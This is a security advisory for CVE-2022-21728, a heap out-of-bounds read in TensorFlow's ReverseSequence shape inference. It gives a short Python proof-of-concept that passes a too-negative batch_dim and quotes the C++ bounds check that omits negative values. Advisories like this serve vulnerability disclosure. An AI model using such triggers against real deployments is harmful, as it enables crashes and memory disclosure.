CVE-2022-21728: Out of bounds read in Tensorflow

(updated )

The implementation of shape inference for ReverseSequence does not fully validate the value of batch_dim and can result in a heap OOB read:

import tensorflow as tf

@tf.function
def test():
y = tf.raw_ops.ReverseSequence(
input = ['aaa','bbb'],
seq_lengths = [1,1,1],
seq_dim = -10,
batch_dim = -10 )
return y

test()

There is a check to make sure the value of batch_dim does not go over the rank of the input, but there is no check for negative values:

const int32_t input_rank = c->Rank(input);
if (batch_dim >= input_rank) {
return errors::InvalidArgument(
"batch_dim must be < input rank: ", batch_dim, " vs. ", input_rank);
}
// ...

DimensionHandle batch_dim_dim = c->Dim(input, batch_dim);

Negative dimensions are allowed in some cases to mimic Python’s negative indexing (i.e., indexing from the end of the array), however if the value is too negative then the implementation of Dim would access elements before the start of an array:

DimensionHandle Dim(ShapeHandle s, int64_t idx) {
if (!s.Handle() || s->rank_ == kUnknownRank) {
return UnknownDim();
}
return DimKnownRank(s, idx);
}
·
static DimensionHandle DimKnownRank(ShapeHandle s, int64_t idx) {
CHECK_NE(s->rank_, kUnknownRank);
if (idx < 0) {
return s->dims_[s->dims_.size() + idx];
}
return s->dims_[idx];
}

References

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